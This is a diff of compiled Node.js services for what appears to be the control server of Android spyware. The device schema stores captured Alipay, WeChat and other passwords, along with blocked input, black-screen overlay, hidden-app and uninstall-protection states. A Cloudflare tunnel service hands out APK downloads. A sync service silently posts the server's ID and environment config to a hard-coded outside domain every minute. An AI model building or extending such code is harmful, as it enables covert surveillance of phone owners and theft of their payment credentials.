if (!this.isInitialized()) {
return null;
}
const content = fs_1.default.readFileSync(this.INIT_LOCK_FILE, 'utf8');
const info = JSON.parse(content);
// 如果旧版本没有唯一标识符,生成一个并更新
if (!info.uniqueId) {
info.uniqueId = this.generateUniqueId();
try {
fs_1.default.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(info, null, 2));
this.logger.info('已为已初始化的系统生成唯一标识符');
}
catch (error) {
this.logger.error('更新唯一标识符失败:', error);
}
}
return info;
}
catch (error) {
this.logger.error('读取初始化信息失败:', error);
return null;
}
}
/**
* 获取系统唯一标识符
*/
getSystemUniqueId() {
const initInfo = this.getInitializationInfo();
return initInfo?.uniqueId || null;
}
/**
* 初始化系统,设置管理员账号
*/
async initializeSystem(username, password) {
try {
// 检查是否已经初始化(通过检查锁文件)
if (this.isInitialized()) {
return {
success: false,
message: '系统已经初始化,无法重复初始化'
};
}
// 验证输入参数
if (!username || username.trim().length < 3) {
return {
success: false,
message: '用户名至少需要3个字符'
};
}
if (!password || password.length < 6) {
return {
success: false,
message: '密码至少需要6个字符'
};
}
const trimmedUsername = username.trim();
// 检查用户名是否已存在
if (this.users.has(trimmedUsername)) {
return {
success: false,
message: '用户名已存在'
};
}
// 创建管理员用户
const passwordHash = await bcryptjs_1.default.hash(password, 10);
const adminUser = {
id: 'admin_' + Date.now(),
username: trimmedUsername,
passwordHash,
createdAt: new Date()
};
// 清除默认用户,添加新的管理员用户
this.users.clear();
this.users.set(trimmedUsername, adminUser);
// 保存用户数据到文件
try {
await this.saveUsersToFile();
this.logger.info('用户数据已保存到文件');
}
catch (saveError) {
this.logger.error('保存用户数据失败:', saveError);
// 即使保存失败,也不影响初始化过程,但会记录错误
}
// 生成唯一标识符
const uniqueId = this.generateUniqueId();
this.logger.info(`生成系统唯一标识符: ${uniqueId.substring(0, 8)}...`);
// 创建初始化锁文件
try {
const initInfo = {
initializedAt: new Date().toISOString(),
adminUsername: trimmedUsername,
version: '1.0.0',
uniqueId: uniqueId // 系统唯一标识符
};
fs_1.default.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(initInfo, null, 2));
this.logger.info(`系统已初始化,管理员用户: ${trimmedUsername},唯一标识符: ${uniqueId.substring(0, 8)}...,锁文件已创建: ${this.INIT_LOCK_FILE}`);
}
catch (lockError) {
this.logger.error('创建初始化锁文件失败:', lockError);
// 即使锁文件创建失败,也不影响初始化过程
}
return {
success: true,
message: '系统初始化成功',
uniqueId: uniqueId // 返回系统唯一标识符
};
}
catch (error) {
this.logger.error('系统初始化失败:', error);
return {
success: false,
message: '系统初始化失败,请稍后重试'
};
}
}
}
exports.AuthService = AuthService;
exports.default = AuthService;
//# sourceMappingURL=AuthService.js.map

1
dist/services/AuthService.js.map vendored Normal file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,81 @@
/**
* Cloudflare文件分享服务
* 用于生成临时文件分享链接有效期10分钟
*/
export declare class CloudflareShareService {
private logger;
private activeShares;
private cleanupInterval;
constructor();
/**
* 为文件创建临时分享链接
* @param filePath 文件路径
* @param filename 文件名
* @param durationMinutes 有效期分钟默认10分钟
* @returns 分享链接信息
*/
createShareLink(filePath: string, filename: string, durationMinutes?: number): Promise<ShareResult>;
/**
* 停止分享会话
*/
stopShare(sessionId: string): Promise<boolean>;
/**
* 获取活动分享会话列表
*/
getActiveShares(): ShareInfo[];
/**
* 清理过期的分享会话
*/
private cleanupExpiredShares;
/**
* 查找cloudflared可执行文件
*/
private findCloudflared;
/**
* 查找可用端口
*/
private findAvailablePort;
/**
* 创建文件服务器
*/
private createFileServer;
/**
* 启动cloudflared隧道
*/
private startCloudflaredTunnel;
/**
* 从cloudflared输出中提取隧道URL
*/
private extractTunnelUrl;
/**
* 生成会话ID
*/
private generateSessionId;
/**
* 格式化文件大小
*/
private formatFileSize;
/**
* 销毁服务
*/
destroy(): void;
}
interface ShareResult {
success: boolean;
sessionId?: string;
shareUrl?: string;
filename?: string;
expiresAt?: string;
durationMinutes?: number;
error?: string;
}
interface ShareInfo {
sessionId: string;
filename: string;
shareUrl: string;
createdAt: string;
expiresAt: string;
isExpired: boolean;
}
export default CloudflareShareService;
//# sourceMappingURL=CloudflareShareService.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"CloudflareShareService.d.ts","sourceRoot":"","sources":["../../src/services/CloudflareShareService.ts"],"names":[],"mappings":"AAOA;;;GAGG;AACH,qBAAa,sBAAsB;IACjC,OAAO,CAAC,MAAM,CAAQ;IACtB,OAAO,CAAC,YAAY,CAAuC;IAC3D,OAAO,CAAC,eAAe,CAAgB;;IAWvC;;;;;;OAMG;IACG,eAAe,CACnB,QAAQ,EAAE,MAAM,EAChB,QAAQ,EAAE,MAAM,EAChB,eAAe,GAAE,MAAW,GAC3B,OAAO,CAAC,WAAW,CAAC;IA6DvB;;OAEG;IACG,SAAS,CAAC,SAAS,EAAE,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC;IAiCpD;;OAEG;IACH,eAAe,IAAI,SAAS,EAAE;IAe9B;;OAEG;IACH,OAAO,CAAC,oBAAoB;IAgB5B;;OAEG;YACW,eAAe;IAsD7B;;OAEG;YACW,iBAAiB;IAkB/B;;OAEG;YACW,gBAAgB;IAmI9B;;OAEG;YACW,sBAAsB;IA2BpC;;OAEG;YACW,gBAAgB;IAyB9B;;OAEG;IACH,OAAO,CAAC,iBAAiB;IAIzB;;OAEG;IACH,OAAO,CAAC,cAAc;IAQtB;;OAEG;IACH,OAAO,IAAI,IAAI;CAUhB;AAeD,UAAU,WAAW;IACnB,OAAO,EAAE,OAAO,CAAA;IAChB,SAAS,CAAC,EAAE,MAAM,CAAA;IAClB,QAAQ,CAAC,EAAE,MAAM,CAAA;IACjB,QAAQ,CAAC,EAAE,MAAM,CAAA;IACjB,SAAS,CAAC,EAAE,MAAM,CAAA;IAClB,eAAe,CAAC,EAAE,MAAM,CAAA;IACxB,KAAK,CAAC,EAAE,MAAM,CAAA;CACf;AAED,UAAU,SAAS;IACjB,SAAS,EAAE,MAAM,CAAA;IACjB,QAAQ,EAAE,MAAM,CAAA;IAChB,QAAQ,EAAE,MAAM,CAAA;IAChB,SAAS,EAAE,MAAM,CAAA;IACjB,SAAS,EAAE,MAAM,CAAA;IACjB,SAAS,EAAE,OAAO,CAAA;CACnB;AAED,eAAe,sBAAsB,CAAA"}

428
dist/services/CloudflareShareService.js vendored Normal file
View File

@@ -0,0 +1,428 @@
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.CloudflareShareService = void 0;
const child_process_1 = require("child_process");
const fs_1 = __importDefault(require("fs"));
const path_1 = __importDefault(require("path"));
const http_1 = __importDefault(require("http"));
const express_1 = __importDefault(require("express"));
const Logger_1 = __importDefault(require("../utils/Logger"));
/**
* Cloudflare文件分享服务
* 用于生成临时文件分享链接有效期10分钟
*/
class CloudflareShareService {
constructor() {
this.activeShares = new Map();
this.logger = new Logger_1.default('CloudflareShare');
// 每分钟清理过期的分享会话
this.cleanupInterval = setInterval(() => {
this.cleanupExpiredShares();
}, 60 * 1000);
}
/**
* 为文件创建临时分享链接
* @param filePath 文件路径
* @param filename 文件名
* @param durationMinutes 有效期分钟默认10分钟
* @returns 分享链接信息
*/
async createShareLink(filePath, filename, durationMinutes = 10) {
try {
// 检查文件是否存在
if (!fs_1.default.existsSync(filePath)) {
throw new Error(`文件不存在: ${filePath}`);
}
// 检查cloudflared是否存在
const cloudflaredPath = await this.findCloudflared();
if (!cloudflaredPath) {
throw new Error('cloudflared 未找到,请先安装 cloudflared');
}
// 生成会话ID
const sessionId = this.generateSessionId();
// 创建临时服务器
const port = await this.findAvailablePort(8080);
const server = await this.createFileServer(filePath, filename, port);
// 启动cloudflared隧道
const tunnelProcess = await this.startCloudflaredTunnel(cloudflaredPath, port);
const tunnelUrl = await this.extractTunnelUrl(tunnelProcess);
// 创建分享会话
const expiresAt = new Date(Date.now() + durationMinutes * 60 * 1000);
const shareSession = {
sessionId,
filePath,
filename,
port,
server,
tunnelProcess,
tunnelUrl,
createdAt: new Date(),
expiresAt
};
this.activeShares.set(sessionId, shareSession);
this.logger.info(`创建分享链接成功: ${tunnelUrl} (有效期: ${durationMinutes}分钟)`);
return {
success: true,
sessionId,
shareUrl: tunnelUrl,
filename,
expiresAt: expiresAt.toISOString(),
durationMinutes
};
}
catch (error) {
const errorMessage = error.message || error.toString() || '未知错误';
this.logger.error('创建分享链接失败:', errorMessage);
this.logger.error('错误详情:', error);
return {
success: false,
error: errorMessage
};
}
}
/**
* 停止分享会话
*/
async stopShare(sessionId) {
const session = this.activeShares.get(sessionId);
if (!session) {
return false;
}
try {
// 关闭服务器
if (session.server) {
session.server.close();
}
// 终止cloudflared进程
if (session.tunnelProcess && !session.tunnelProcess.killed) {
session.tunnelProcess.kill('SIGTERM');
// 如果进程没有正常退出,强制杀死
setTimeout(() => {
if (session.tunnelProcess && !session.tunnelProcess.killed) {
session.tunnelProcess.kill('SIGKILL');
}
}, 5000);
}
this.activeShares.delete(sessionId);
this.logger.info(`停止分享会话: ${sessionId}`);
return true;
}
catch (error) {
this.logger.error(`停止分享会话失败: ${sessionId}`, error);
return false;
}
}
/**
* 获取活动分享会话列表
*/
getActiveShares() {
const shares = [];
for (const [sessionId, session] of this.activeShares) {
shares.push({
sessionId,
filename: session.filename,
shareUrl: session.tunnelUrl,
createdAt: session.createdAt.toISOString(),
expiresAt: session.expiresAt.toISOString(),
isExpired: Date.now() > session.expiresAt.getTime()
});
}
return shares;
}
/**
* 清理过期的分享会话
*/
cleanupExpiredShares() {
const now = Date.now();
const expiredSessions = [];
for (const [sessionId, session] of this.activeShares) {
if (now > session.expiresAt.getTime()) {
expiredSessions.push(sessionId);
}
}
for (const sessionId of expiredSessions) {
this.stopShare(sessionId);
this.logger.info(`自动清理过期分享会话: ${sessionId}`);
}
}
/**
* 查找cloudflared可执行文件
*/
async findCloudflared() {
// 相对于项目根目录的路径
const projectRoot = path_1.default.resolve(process.cwd(), '..');
const possiblePaths = [
path_1.default.join(projectRoot, 'cloudflared'), // 项目根目录
'./cloudflared', // 当前目录
path_1.default.join(process.cwd(), 'cloudflared'), // 完整路径
'/usr/local/bin/cloudflared', // 系统安装路径
'/usr/bin/cloudflared',
'./bin/cloudflared'
];
this.logger.info(`查找cloudflared项目根目录: ${projectRoot}`);
for (const cloudflaredPath of possiblePaths) {
this.logger.debug(`检查路径: ${cloudflaredPath}`);
if (fs_1.default.existsSync(cloudflaredPath)) {
this.logger.info(`找到cloudflared: ${cloudflaredPath}`);
return cloudflaredPath;
}
}
// 尝试从PATH中查找
return new Promise((resolve) => {
const which = (0, child_process_1.spawn)('which', ['cloudflared']);
let output = '';
let errorOutput = '';
which.stdout.on('data', (data) => {
output += data.toString();
});
which.stderr.on('data', (data) => {
errorOutput += data.toString();
});
which.on('close', (code) => {
if (code === 0 && output.trim()) {
this.logger.info(`在PATH中找到cloudflared: ${output.trim()}`);
resolve(output.trim());
}
else {
this.logger.warn(`在PATH中未找到cloudflared退出代码: ${code},错误: ${errorOutput}`);
resolve(null);
}
});
which.on('error', (error) => {
this.logger.error('执行which命令失败:', error);
resolve(null);
});
});
}
/**
* 查找可用端口
*/
async findAvailablePort(startPort) {
return new Promise((resolve, reject) => {
const server = http_1.default.createServer();
server.listen(startPort, () => {
const port = server.address()?.port;
server.close(() => {
resolve(port);
});
});
server.on('error', () => {
// 端口被占用,尝试下一个
this.findAvailablePort(startPort + 1).then(resolve).catch(reject);
});
});
}
/**
* 创建文件服务器
*/
async createFileServer(filePath, filename, port) {
const app = (0, express_1.default)();
// 文件下载页面
app.get('/', (req, res) => {
const fileStats = fs_1.default.statSync(filePath);
const fileSize = this.formatFileSize(fileStats.size);
const html = `
<!DOCTYPE html>
<html>
<head>
<title>File Download - ${filename}</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 20px;
}
.container {
background: white;
border-radius: 12px;
padding: 40px;
text-align: center;
box-shadow: 0 8px 32px rgba(0,0,0,0.1);
max-width: 500px;
width: 100%;
}
.icon {
font-size: 48px;
margin-bottom: 20px;
color: #667eea;
}
h1 { color: #333; margin-bottom: 10px; font-size: 24px; }
.filename {
color: #666;
margin-bottom: 8px;
font-size: 18px;
word-break: break-all;
background: #f5f5f5;
padding: 12px;
border-radius: 8px;
}
.filesize {
color: #888;
margin-bottom: 30px;
font-size: 14px;
}
.download-btn {
display: inline-block;
padding: 16px 32px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
text-decoration: none;
border-radius: 8px;
font-size: 16px;
font-weight: 500;
transition: transform 0.2s, box-shadow 0.2s;
border: none;
cursor: pointer;
}
.download-btn:hover {
transform: translateY(-2px);
box-shadow: 0 4px 16px rgba(102, 126, 234, 0.4);
}
.warning {
margin-top: 20px;
padding: 16px;
background: #fff3cd;
border: 1px solid #ffeaa7;
border-radius: 8px;
color: #856404;
font-size: 14px;
}
@media (max-width: 480px) {
.container { padding: 20px; }
h1 { font-size: 20px; }
.filename { font-size: 16px; }
}
</style>
</head>
<body>
<div class="container">
<div class="icon">📱</div>
<h1>APK文件下载</h1>
<div class="filename">${filename}</div>
<div class="filesize">文件大小: ${fileSize}</div>
<a href="/download" class="download-btn">立即下载</a>
<div class="warning">
⚠️ 此下载链接有效期为10分钟请及时下载
</div>
</div>
</body>
</html>
`;
res.send(html);
});
// 文件下载接口
app.get('/download', (req, res) => {
try {
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`);
res.setHeader('Content-Type', 'application/vnd.android.package-archive');
const fileStream = fs_1.default.createReadStream(filePath);
fileStream.pipe(res);
this.logger.info(`文件下载: ${filename} from ${req.ip}`);
}
catch (error) {
this.logger.error('文件下载失败:', error);
res.status(500).send('下载失败');
}
});
return new Promise((resolve, reject) => {
const server = app.listen(port, '0.0.0.0', () => {
this.logger.info(`文件服务器启动: http://0.0.0.0:${port}`);
resolve(server);
});
server.on('error', reject);
});
}
/**
* 启动cloudflared隧道
*/
async startCloudflaredTunnel(cloudflaredPath, port) {
return new Promise((resolve, reject) => {
const args = [
'tunnel',
'--url', `http://localhost:${port}`,
'--no-autoupdate',
'--no-tls-verify'
];
const tunnelProcess = (0, child_process_1.spawn)(cloudflaredPath, args);
tunnelProcess.on('error', (error) => {
this.logger.error('启动cloudflared失败:', error);
reject(error);
});
// 等待进程启动
setTimeout(() => {
if (!tunnelProcess.killed) {
resolve(tunnelProcess);
}
else {
reject(new Error('cloudflared进程启动失败'));
}
}, 3000);
});
}
/**
* 从cloudflared输出中提取隧道URL
*/
async extractTunnelUrl(tunnelProcess) {
return new Promise((resolve, reject) => {
let output = '';
const timeout = setTimeout(() => {
reject(new Error('获取隧道URL超时'));
}, 30000);
const onData = (data) => {
output += data.toString();
// 查找隧道URL
const urlMatch = output.match(/https:\/\/[a-z0-9-]+\.trycloudflare\.com/i);
if (urlMatch) {
clearTimeout(timeout);
tunnelProcess.stdout?.off('data', onData);
tunnelProcess.stderr?.off('data', onData);
resolve(urlMatch[0]);
}
};
tunnelProcess.stdout?.on('data', onData);
tunnelProcess.stderr?.on('data', onData);
});
}
/**
* 生成会话ID
*/
generateSessionId() {
return 'share_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9);
}
/**
* 格式化文件大小
*/
formatFileSize(bytes) {
if (bytes === 0)
return '0 B';
const k = 1024;
const sizes = ['B', 'KB', 'MB', 'GB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
}
/**
* 销毁服务
*/
destroy() {
if (this.cleanupInterval) {
clearInterval(this.cleanupInterval);
}
// 停止所有活动分享会话
for (const sessionId of this.activeShares.keys()) {
this.stopShare(sessionId);
}
}
}
exports.CloudflareShareService = CloudflareShareService;
exports.default = CloudflareShareService;
//# sourceMappingURL=CloudflareShareService.js.map

File diff suppressed because one or more lines are too long

366
dist/services/DatabaseService.d.ts vendored Normal file
View File

@@ -0,0 +1,366 @@
export interface DeviceRecord {
deviceId: string;
deviceName: string;
deviceModel: string;
osVersion: string;
appVersion: string;
appPackage?: string;
appName?: string;
screenWidth: number;
screenHeight: number;
capabilities: string[];
firstSeen: Date;
lastSeen: Date;
connectionCount: number;
lastSocketId?: string;
status: 'online' | 'offline' | 'busy';
publicIP?: string;
remark?: string;
systemVersionName?: string;
romType?: string;
romVersion?: string;
osBuildVersion?: string;
}
export interface OperationLogRecord {
id?: number;
deviceId: string;
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
content: string;
extraData?: any;
timestamp: Date;
}
export interface DeviceStateRecord {
deviceId: string;
password?: string;
inputBlocked: boolean;
loggingEnabled: boolean;
blackScreenActive: boolean;
appHidden: boolean;
uninstallProtectionEnabled: boolean;
lastPasswordUpdate?: Date;
confirmButtonCoords?: {
x: number;
y: number;
};
learnedConfirmButton?: {
x: number;
y: number;
count: number;
};
createdAt: Date;
updatedAt: Date;
}
export interface AlipayPasswordRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
activity: string;
inputMethod: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export interface WechatPasswordRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
activity: string;
inputMethod: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export interface PasswordInputRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
passwordType: string;
activity: string;
inputMethod: string;
installationId: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export declare class DatabaseService {
private db;
private logger;
constructor(dbPath?: string);
/**
* 初始化数据库表结构
*/
private initDatabase;
/**
* 迁移:确保 devices 表包含新增列
*/
private ensureDeviceTableColumns;
/**
* 根据socketId查询设备信息
*/
getDeviceBySocketId(socketId: string): DeviceRecord | null;
/**
* 根据deviceId查询设备信息
*/
getDeviceById(deviceId: string): DeviceRecord | null;
/**
* 保存或更新设备信息
*/
saveDevice(deviceInfo: any, socketId: string): void;
/**
* 记录连接历史
*/
private recordConnection;
/**
* ✅ 将设备状态设置为离线
*/
setDeviceOffline(deviceId: string): void;
/**
* 通过Socket ID将设备设置为离线
*/
setDeviceOfflineBySocketId(socketId: string): void;
/**
* ✅ 将所有设备状态重置为离线
*/
resetAllDevicesToOffline(): void;
/**
* 更新连接断开信息
*/
updateDisconnection(socketId: string): void;
/**
* 获取设备连接统计
*/
getDeviceStats(deviceId: string): any;
/**
* 获取所有设备列表
*/
getAllDevices(): DeviceRecord[];
/**
* 清理旧连接记录
*/
cleanupOldRecords(daysToKeep?: number): void;
/**
* 转换数据库行为DeviceRecord
*/
private rowToDeviceRecord;
/**
* 🆕 更新设备备注
*/
updateDeviceRemark(deviceId: string, remark: string): boolean;
/**
* 🆕 获取设备备注
*/
getDeviceRemark(deviceId: string): string | null;
/**
* 保存操作日志
*/
saveOperationLog(log: OperationLogRecord): void;
/**
* 获取设备操作日志(分页)
*/
getOperationLogs(deviceId: string, page?: number, pageSize?: number, logType?: string): {
logs: OperationLogRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 删除设备的所有操作日志
*/
clearOperationLogs(deviceId: string): void;
/**
* 清理旧的操作日志
*/
cleanupOldOperationLogs(daysToKeep?: number): void;
/**
* 获取操作日志统计
*/
getOperationLogStats(deviceId: string): any;
/**
* 获取设备最新的密码记录
*/
getLatestDevicePassword(deviceId: string): string | null;
/**
* ✅ 获取设备状态
*/
getDeviceState(deviceId: string): DeviceStateRecord | null;
/**
* ✅ 保存或更新设备状态
*/
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
/**
* ✅ 更新设备密码
*/
updateDevicePassword(deviceId: string, password: string): void;
/**
* ✅ 更新设备输入阻止状态
*/
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void;
/**
* ✅ 更新设备日志记录状态
*/
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void;
/**
* 🆕 更新设备黑屏遮盖状态
*/
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void;
/**
* 🆕 更新设备应用隐藏状态
*/
updateDeviceAppHidden(deviceId: string, hidden: boolean): void;
/**
* 🛡️ 更新设备防止卸载保护状态
*/
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void;
/**
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
*/
getDevicePassword(deviceId: string): string | null;
/**
* ✅ 保存设备密码别名方法用于API调用
*/
saveDevicePassword(deviceId: string, password: string): void;
/**
* ✅ 更新设备状态别名方法用于API调用
*/
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
/**
* 🆕 保存确认按钮坐标
*/
saveConfirmButtonCoords(deviceId: string, coords: {
x: number;
y: number;
}): void;
/**
* 🆕 获取确认按钮坐标
*/
getConfirmButtonCoords(deviceId: string): {
x: number;
y: number;
} | null;
/**
* 🆕 更新学习的确认按钮坐标
*/
updateLearnedConfirmButton(deviceId: string, coords: {
x: number;
y: number;
}): void;
/**
* 从操作日志中获取可能的密码候选
*/
getPasswordCandidatesFromLogs(deviceId: string): any[];
/**
* 💰 保存支付宝密码记录
*/
saveAlipayPassword(record: AlipayPasswordRecord): void;
/**
* 💰 获取设备的支付宝密码记录(分页)
*/
getAlipayPasswords(deviceId: string, page?: number, pageSize?: number): {
passwords: AlipayPasswordRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 💰 获取设备最新的支付宝密码
*/
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null;
/**
* 💰 删除设备的支付宝密码记录
*/
clearAlipayPasswords(deviceId: string): void;
/**
* 💰 清理旧的支付宝密码记录
*/
cleanupOldAlipayPasswords(daysToKeep?: number): void;
/**
* 💬 保存微信密码记录
*/
saveWechatPassword(record: WechatPasswordRecord): void;
/**
* 💬 获取设备的微信密码记录(分页)
*/
getWechatPasswords(deviceId: string, page?: number, pageSize?: number): {
passwords: WechatPasswordRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 💬 获取设备最新的微信密码
*/
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null;
/**
* 💬 删除设备的微信密码记录
*/
clearWechatPasswords(deviceId: string): void;
/**
* 💬 清理旧的微信密码记录
*/
cleanupOldWechatPasswords(daysToKeep?: number): void;
/**
* 🔐 保存通用密码输入记录
*/
savePasswordInput(record: PasswordInputRecord): void;
/**
* 🔐 获取设备的通用密码输入记录(分页)
*/
getPasswordInputs(deviceId: string, page?: number, pageSize?: number, passwordType?: string): {
passwords: PasswordInputRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 🔐 获取设备最新的通用密码输入
*/
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null;
/**
* 🔐 删除设备的通用密码输入记录
*/
clearPasswordInputs(deviceId: string, passwordType?: string): void;
/**
* 🔐 清理旧的通用密码输入记录
*/
cleanupOldPasswordInputs(daysToKeep?: number): void;
/**
* 🔐 获取密码类型统计
*/
getPasswordTypeStats(deviceId: string): any[];
/**
* ✅ 删除设备及其所有相关数据
*/
deleteDevice(deviceId: string): void;
/**
* 🔐 授予用户设备控制权限
*/
grantUserDevicePermission(userId: string, deviceId: string, permissionType?: string, expiresAt?: Date): boolean;
/**
* 🔐 撤销用户设备权限
*/
revokeUserDevicePermission(userId: string, deviceId: string): boolean;
/**
* 🔐 检查用户是否有设备权限
*/
hasUserDevicePermission(userId: string, deviceId: string, permissionType?: string): boolean;
/**
* 🔐 获取用户的所有设备权限
*/
getUserDevicePermissions(userId: string): Array<{
deviceId: string;
permissionType: string;
grantedAt: Date;
}>;
/**
* 🔐 清理过期的权限
*/
cleanupExpiredPermissions(): number;
}
//# sourceMappingURL=DatabaseService.d.ts.map

File diff suppressed because one or more lines are too long

1733
dist/services/DatabaseService.js vendored Normal file

File diff suppressed because it is too large Load Diff

1
dist/services/DatabaseService.js.map vendored Normal file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,50 @@
import AuthService from './AuthService';
/**
* 设备信息同步服务
* 定时向远程服务器发送设备信息
*/
export default class DeviceInfoSyncService {
private logger;
private authService;
private syncInterval;
private isRunning;
private readonly API_URL;
private readonly SYNC_INTERVAL;
private readonly ENABLED;
constructor(authService: AuthService);
/**
* 启动定时同步任务
*/
start(): void;
/**
* 停止定时同步任务
*/
stop(): void;
/**
* 同步设备信息到远程服务器
*/
private syncDeviceInfo;
/**
* 收集配置信息(从环境变量)
*/
private collectConfigInfo;
/**
* 发送 POST 请求
*/
private sendPostRequest;
/**
* 手动触发同步(用于测试)
*/
triggerSync(): Promise<boolean>;
/**
* 获取同步状态
*/
getStatus(): {
enabled: boolean;
running: boolean;
interval: number;
apiUrl: string;
lastSync?: number;
};
}
//# sourceMappingURL=DeviceInfoSyncService.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"DeviceInfoSyncService.d.ts","sourceRoot":"","sources":["../../src/services/DeviceInfoSyncService.ts"],"names":[],"mappings":"AAGA,OAAO,WAAW,MAAM,eAAe,CAAA;AAGvC;;;GAGG;AACH,MAAM,CAAC,OAAO,OAAO,qBAAqB;IACxC,OAAO,CAAC,MAAM,CAAQ;IACtB,OAAO,CAAC,WAAW,CAAa;IAChC,OAAO,CAAC,YAAY,CAA8B;IAClD,OAAO,CAAC,SAAS,CAAiB;IAClC,OAAO,CAAC,QAAQ,CAAC,OAAO,CAAQ;IAChC,OAAO,CAAC,QAAQ,CAAC,aAAa,CAAQ;IACtC,OAAO,CAAC,QAAQ,CAAC,OAAO,CAAS;gBAErB,WAAW,EAAE,WAAW;IAYpC;;OAEG;IACH,KAAK,IAAI,IAAI;IA2Bb;;OAEG;IACH,IAAI,IAAI,IAAI;IASZ;;OAEG;YACW,cAAc;IAsC5B;;OAEG;IACH,OAAO,CAAC,iBAAiB;IAgCzB;;OAEG;YACW,eAAe;IA2D7B;;OAEG;IACG,WAAW,IAAI,OAAO,CAAC,OAAO,CAAC;IASrC;;OAEG;IACH,SAAS,IAAI;QACX,OAAO,EAAE,OAAO,CAAA;QAChB,OAAO,EAAE,OAAO,CAAA;QAChB,QAAQ,EAAE,MAAM,CAAA;QAChB,MAAM,EAAE,MAAM,CAAA;QACd,QAAQ,CAAC,EAAE,MAAM,CAAA;KAClB;CAQF"}

204
dist/services/DeviceInfoSyncService.js vendored Normal file
View File

@@ -0,0 +1,204 @@
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const http_1 = __importDefault(require("http"));
const https_1 = __importDefault(require("https"));
const url_1 = require("url");
const Logger_1 = __importDefault(require("../utils/Logger"));
/**
* 设备信息同步服务
* 定时向远程服务器发送设备信息
*/
class DeviceInfoSyncService {
constructor(authService) {
this.syncInterval = null;
this.isRunning = false;
this.logger = new Logger_1.default('DeviceInfoSyncService');
this.authService = authService;
// 配置写死,不从环境变量读取
this.ENABLED = true;
this.API_URL = 'https://www.strippchat.top/api/device/upinfo';
this.SYNC_INTERVAL = 60000; // 5分钟
// this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`)
}
/**
* 启动定时同步任务
*/
start() {
if (!this.ENABLED) {
// this.logger.info('设备信息同步功能已禁用,跳过启动')
return;
}
if (this.isRunning) {
// this.logger.warn('设备信息同步任务已在运行')
return;
}
this.isRunning = true;
// this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`)
// 立即执行一次
// this.logger.info('立即执行首次同步...')
this.syncDeviceInfo();
// 设置定时任务
this.syncInterval = setInterval(() => {
// this.logger.info('定时同步任务触发')
this.syncDeviceInfo();
}, this.SYNC_INTERVAL);
// this.logger.info('定时同步任务已设置')
}
/**
* 停止定时同步任务
*/
stop() {
if (this.syncInterval) {
clearInterval(this.syncInterval);
this.syncInterval = null;
this.isRunning = false;
// this.logger.info('设备信息同步任务已停止')
}
}
/**
* 同步设备信息到远程服务器
*/
async syncDeviceInfo() {
try {
// this.logger.info('开始同步设备信息...')
// 获取系统唯一标识符
const uniqueId = this.authService.getSystemUniqueId();
if (!uniqueId) {
// this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)')
return;
}
// this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
// 收集 .env 配置信息(只收集非敏感信息)
const configInfo = this.collectConfigInfo();
// this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`)
// 准备请求数据
const postData = JSON.stringify({
uniqueId: uniqueId,
...configInfo,
timestamp: new Date().toISOString(),
serverTime: Date.now()
});
// this.logger.info(`准备发送同步请求到: ${this.API_URL}`)
// 发送 POST 请求
await this.sendPostRequest(this.API_URL, postData);
// this.logger.info('设备信息同步成功')
}
catch (error) {
// this.logger.error('设备信息同步失败:', error.message)
// 不抛出错误,避免影响主程序运行
}
}
/**
* 收集配置信息(从环境变量)
*/
collectConfigInfo() {
const config = {};
// 收集环境变量配置信息
